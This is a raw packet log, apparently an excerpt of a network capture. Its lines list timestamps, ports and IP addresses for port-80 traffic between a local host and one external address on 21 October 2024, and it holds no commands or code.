Oct 21, 2024 08:47:21.763267040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763277054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763298035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763309002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763329983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763339043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763360023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763367891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763400078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763427973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763469934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763477087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763508081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763518095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763535976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763545036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763577938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763598919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763631105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763638020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763663054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763675928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763695955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763703108 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763726950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.763735056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.763771057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764157057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764189005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764199018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764221907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764235973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764254093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764262915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764286041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764297009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764317036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764327049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764348030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764357090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764379978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764385939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764411926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764420986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764445066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764447927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764478922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764488935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764509916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764523029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764542103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764554977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764574051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764583111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764605045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764619112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764635086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764646053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764664888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764695883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764727116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764728069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764728069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764741898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764760017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764777899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764790058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764801979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764830112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764853954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764887094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764895916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764916897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764925957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764950037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764955044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.764981031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.764990091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.765013933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.765016079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.765047073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.765052080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.765080929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.765086889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.765111923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.765119076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.765149117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770081043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770127058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770153046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770185947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770193100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770235062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770241976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770268917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770277023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770323992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770514965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770561934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770679951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770710945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770719051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770742893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770750046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770782948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770791054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770823956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770838976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770873070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.770884991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.770911932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771048069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771080017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771087885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771111965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771120071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771147013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771161079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771189928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771234989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771323919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771353006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771356106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771377087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771406889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771421909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771471977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771542072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771575928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771584034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771617889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771848917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771881104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771888018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771919966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771930933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771962881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771965027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.771994114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.771998882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772026062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772032022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772057056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772063971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772090912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772119999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772125006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772300959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772331953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772361994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772378922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772381067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772411108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772423983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772443056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772463083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772475004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772491932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772506952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772517920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772540092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.772547960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772579908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.772989988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.773021936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.773027897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.773062944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.773071051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.773101091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.773114920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.773133039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.773140907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.773164988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.773174047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.773195982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.773206949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.773242950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775626898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775659084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775681019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775700092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775708914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775741100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775759935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775783062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775789976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775820971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775832891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775852919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775861025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775885105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.775891066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.775924921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776120901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776151896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776163101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776185036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776191950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776220083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776225090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776251078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776263952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776283026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776290894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776324034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776431084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776472092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776525021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776567936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776572943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776606083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776614904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776637077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776645899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776679039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776834965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776873112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776873112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776906967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776916981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776937008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776947021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.776969910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.776983023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777020931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777203083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777246952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777250051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777283907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777436018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777467966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777489901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777501106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777508020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777534008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777549982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777568102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777578115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777601957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.777616024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.777642012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.818808079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.818860054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.818861008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.818893909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.818902016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.818933010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.886919022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.886949062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.886967897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.886985064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.887132883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.894939899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.894992113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895020008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895051956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895057917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895098925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895133018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895178080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895181894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895215034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895222902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895253897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895262003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895302057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895311117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895349979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895359039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895404100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895415068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895446062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895454884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895486116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895494938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895525932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895538092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895556927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895565033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895612001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895622015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895662069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895663977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895697117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895708084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895747900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895759106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895786047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895802021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895819902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895832062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895869970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895909071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895936012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895950079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895967007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.895975113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.895999908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896011114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896029949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896035910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896061897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896069050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896092892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896104097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896125078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896135092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896155119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896163940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896188021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896195889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896219015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896228075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896250010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896259069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896281004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896297932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896315098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896318913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896347046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.896354914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.896405935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.938395977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.938451052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.938486099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.938505888 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.938524008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:21.938546896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:21.938571930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.006465912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.006494999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.006529093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.006561995 CEST	80	49732	147.45.44.221	192.168.2.4
